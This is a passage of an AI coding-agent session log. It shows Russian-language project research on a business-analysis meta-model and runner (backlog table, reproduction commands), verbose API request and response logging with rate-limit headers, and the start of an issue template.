\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\\n\u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430: \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438. \u0415\u0433\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n\u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c; \u0435\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u0434\u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0438\u0437 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e runner GigaCode. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0434\u0432\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u044d\u0442\u043e \u043e\u0434\u043d\u0430 \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f: \u0441\u043d\u0430\u0447\u0430\u043b\u0430 runner-\u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n\u043c\u0435\u0441\u0442\u0435, \u0437\u0430\u0442\u0435\u043c \u0442\u043e\u0442 \u0436\u0435 runner \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\\n\\n**\u0413\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435.** \u041f\u0430\u043a\u0435\u0442 Cline \u0433\u043e\u0442\u043e\u0432 \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435 \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c\u0438 \u043f\u0435\u0440\u0432\u043e\u0439\\n\u0447\u0430\u0441\u0442\u0438. Runner GigaCode \u0433\u043e\u0442\u043e\u0432 \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432, \u043d\u043e \u043d\u0435 \u043a \u0437\u0430\u043c\u0435\u0440\u0430\u043c \u043f\u0438\u043b\u043e\u0442\u0430:\\n\u043f\u043e\u043a\u0430 \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0430\u043a\u0435\u0442\u0430, \u0437\u0430\u043c\u0435\u0440 `deterministic_share` \u043d\u0438\u0447\u0435\u0433\u043e\\n\u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0448\u0430\u0433\u043e\u0432 ([\u0413-30](#\u0433-30)). \u0414\u043e \u043f\u0435\u0440\u0432\u044b\u0445 10 \u0437\u0430\u0434\u0430\u0447 \u043f\u0438\u043b\u043e\u0442\u0430\\nADR-018 \u043d\u0443\u0436\u043d\u044b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f 1.1\u20131.3 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 1.\\n\\n## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430\\n\\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u0432\u0445\u043e\u0434 \u0434\u043b\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u0430 \u043d\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.\\n\\n| \u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 | \u0427\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c | \u0422\u0438\u043f | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b | \u0417\u0430\u0434\u0430\u0447\u0430 \u0431\u044d\u043a\u043b\u043e\u0433\u0430 |\\n|-----------|-------------|-----|----------|----------------|\\n| 1 | Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0440\u0451\u0431\u0435\u0440 \u0438\u0437 YAML | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 | [\u0413-28](#\u0433-28) | B-211 |\\n| 1 | \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430; \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0432\u044b\u0445\u043e\u0434\u044b | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0438 Source | [\u0413-29](#\u0433-29), [\u0413-30](#\u0433-30) | B-212 |\\n| 1 | \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0438 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u0432\u043e\u0434\u0430 \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 | [\u0413-31](#\u0433-31), [\u0413-32](#\u0433-32), [\u0413-34](#\u0433-34) | B-213 |\\n| 1 | \u0420\u0435\u0448\u0438\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 `EP-R7` | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 | [\u0413-33](#\u0433-33) | B-214 |\\n| 2 | \u041d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438; \u043f\u0435\u0440\u0435\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c `EP-R8` | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c | [\u0413-26](#\u0433-26), [\u0413-27](#\u0433-27) | B-215 |\\n| 2 | \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0434\u043b\u044f \u043f\u0430\u043a\u0435\u0442\u043e\u0432 GigaCode \u0438 Cline; \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `next` | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 | [\u0413-40](#\u0433-40) | B-216 |\\n| 2 | \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c GigaCode CLI: \u0432\u0435\u0440\u0441\u0438\u044f, hooks, \u0437\u0430\u043f\u0443\u0441\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 | \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c | [\u0413-42](#\u0433-42) | B-217 |\\n| 3 | RFC \u0441\u0440\u0435\u0434\u044b 4: \u0441\u043b\u0443\u0436\u0431\u0430 runner, Postgres, \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0411\u0410, \u043c\u0435\u0441\u0442\u043e n8n; \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0434\u0432\u0438\u0436\u043a\u0430 | \u0412\u044b\u0431\u043e\u0440 | [\u0413-43](#\u0433-43)\u2026[\u0413-54](#\u0433-54) | B-218 |\\n\\n\u0417\u0430\u0434\u0430\u0447\u0438 B-211\u2026B-218 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0432\\n[\u0421\u043f\u0440\u0438\u043d\u0442 26 \u0431\u044d\u043a\u043b\u043e\u0433\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md)\\n\u0441\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c `TODO` \u0438 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u043e\u043c `null`: \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a.\\n\\n## \u0412\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435\\n\\n```bash\\npip install -r projects/ba-ai-process/dist/execution-package-gigacode-cli/requirements.txt\\npython3 projects/ba-ai-process/experiments/issue_639_runner_probes.py\\n```\\n\\n\u0421\u043a\u0440\u0438\u043f\u0442 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u043f\u0430\u043a\u0435\u0442 GigaCode \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443 \u0438 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\\n\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439. `P10` \u2014 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 n1, n2 \u0438 n3 \u043f\u043e\u0441\u043b\u0435\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0433\u043e n0; `P11` \u2014 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b YAML \u043f\u0440\u043e\u0442\u0438\u0432 \u0432\u0435\u0442\u043e\u043a \u0432 Python; `P12` \u2014\\n\u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0432 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0438 \u043f\u043e\u0432\u0442\u043e\u0440 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439. \u0412\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438\\n\u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u044b 2026-09-29; \u0432\u0435\u0440\u0441\u0438\u0438: n8n 2.40.7, Cline 4.1.21, Open WebUI 0.11.4.\\n\\n## Related Artifacts\",\n[2026-09-29T07:46:44.710Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:44.710Z] [INFO]       }\n[2026-09-29T07:46:44.710Z] [INFO]     ]\n[2026-09-29T07:46:44.710Z] [INFO]   },\n[2026-09-29T07:46:44.710Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:44.710Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:44.710Z] [INFO]   \"uuid\": \"c93a5af0-2337-42ed-be8e-74a345c05de9\",\n[2026-09-29T07:46:44.710Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:44.687Z\",\n[2026-09-29T07:46:44.710Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:44.710Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:44.710Z] [INFO] }\n[2026-09-29T07:46:44.738Z] [STDOUT] [log_232d49] sending request {\n[2026-09-29T07:46:44.744Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:44.749Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:44.754Z] [STDOUT]   options: {\n[2026-09-29T07:46:44.758Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:44.762Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:44.765Z] [STDOUT]     body: {\n[2026-09-29T07:46:44.767Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:44.770Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:44.774Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:44.778Z] [STDOUT]       tools: [Array ...],\n[2026-09-29T07:46:44.780Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:44.785Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:44.788Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:44.792Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:44.796Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:44.799Z] [STDOUT]       fallbacks: \"default\",\n[2026-09-29T07:46:44.803Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:44.809Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:44.817Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:44.825Z] [STDOUT]     },\n[2026-09-29T07:46:44.832Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:44.840Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:44.847Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:44.850Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:44.852Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:44.855Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:44.859Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:44.863Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:44.867Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:44.870Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:44.874Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:44.879Z] [STDOUT]     },\n[2026-09-29T07:46:44.881Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:44.884Z] [STDOUT]   },\n[2026-09-29T07:46:44.887Z] [STDOUT]   headers: {\n[2026-09-29T07:46:44.889Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:44.894Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,server-side-fallback-2026-07-01,fallback-credit-2026-06-01,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:44.897Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:44.899Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:44.904Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:44.910Z] [STDOUT]     authorization: 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\"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:49.943Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:49.947Z] [STDOUT]   headers: {\n[2026-09-29T07:46:49.953Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:49.957Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:49.962Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:49.966Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:49.969Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:49.974Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:49.978Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:49.982Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:49.986Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:49.989Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:49.991Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:49.994Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:49.996Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:50.006Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:50.013Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:50.016Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:50.020Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:50.022Z] [STDOUT]     \"cf-ray\": \"a429602a2e4929ad-FRA\",\n[2026-09-29T07:46:50.031Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:50.036Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:50.054Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:50.060Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:50.067Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:49 GMT\",\n[2026-09-29T07:46:50.072Z] [STDOUT]     \"request-id\": \"req_011CfXMrWsncbnNZnykAPYhy\",\n[2026-09-29T07:46:50.075Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:50.087Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:50.090Z] [STDOUT]     traceresponse: \"00-91c7713efe11066c43492ff78014ca58-9823c9b595805e05-01\",\n[2026-09-29T07:46:50.094Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:50.099Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:50.103Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:50.105Z] [STDOUT]   },\n[2026-09-29T07:46:50.108Z] [STDOUT]   durationMs: 7040,\n[2026-09-29T07:46:50.112Z] [STDOUT] }\n[2026-09-29T07:46:50.115Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:50.119Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:49 GMT\",\n[2026-09-29T07:46:50.125Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:50.131Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:50.134Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:50.137Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:50.141Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:50.143Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:50.146Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:50.151Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:50.158Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:50.162Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:50.164Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:50.167Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:50.171Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:50.173Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:50.176Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:50.179Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:50.183Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:50.185Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:50.189Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:50.192Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:50.197Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:50.202Z] [STDOUT]   \"request-id\": \"req_011CfXMrWsncbnNZnykAPYhy\",\n[2026-09-29T07:46:50.206Z] [STDOUT]   \"traceresponse\": \"00-91c7713efe11066c43492ff78014ca58-9823c9b595805e05-01\",\n[2026-09-29T07:46:50.209Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:50.213Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:50.216Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:50.218Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:50.224Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:50.230Z] [STDOUT]   \"cf-ray\": \"a429602a2e4929ad-FRA\",\n[2026-09-29T07:46:50.235Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:50.241Z] [STDOUT] [log_2acf72] response parsed {\n[2026-09-29T07:46:50.247Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:50.252Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:50.255Z] [STDOUT]   body: X {\n[2026-09-29T07:46:50.258Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:50.263Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:50.267Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:50.272Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:50.281Z] [STDOUT]     },\n[2026-09-29T07:46:50.285Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:50.289Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:50.296Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:50.311Z] [STDOUT]   },\n[2026-09-29T07:46:50.319Z] [STDOUT]   durationMs: 7041,\n[2026-09-29T07:46:50.339Z] [STDOUT] }\n[2026-09-29T07:46:50.347Z] [INFO] {\n[2026-09-29T07:46:50.347Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:50.347Z] [INFO]   \"message\": {\n[2026-09-29T07:46:50.347Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:50.347Z] [INFO]     \"content\": [\n[2026-09-29T07:46:50.347Z] [INFO]       {\n[2026-09-29T07:46:50.347Z] [INFO]         \"tool_use_id\": \"toolu_01NNWZBo95jdfZ5zD6nLqPoC\",\n[2026-09-29T07:46:50.347Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:50.347Z] [INFO]         \"content\": \"title: \\\"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\\\"\\n---\\nlabels: \\\"creative, documentation, presentation, executive-summary\\\"\\n---\\n\\n**Operating Mode:** `Creative` \u00b7 **Task Type:** `Documentation/Presentation` \u00b7 **Lead:** Tech Lead / Architect\\n\\n**User Story:**\\n\u041a\u0430\u043a \u0444\u0430\u0443\u043d\u0434\u0435\u0440, \u044f \u0445\u043e\u0447\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0444\u0435\u0441\u0441\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0434\u043b\u044f \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0434 \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u043d\u0435\u0441\u0442\u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0443\u044e \u0437\u0440\u0435\u043b\u043e\u0441\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0435\u0433\u043e \u0444\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u044f \u043e\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043f\u043e\u0434\u0445\u043e\u0434\u043e\u0432 \u0438 \u0447\u0435\u0442\u043a\u0438\u0439 \u043f\u043b\u0430\u043d \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043e\u043f\u0438\u0440\u0430\u044f\u0441\u044c \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u043f\u044b\u0442 \u043f\u0440\u043e\u0435\u043a\u0442\u0430.\\n\\n**\u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0441\u0442\u0438\u043d\u044b (SSOT):**\\n\u041f\u0435\u0440\u0435\u0434 \u043d\u0430\u0447\u0430\u043b\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c 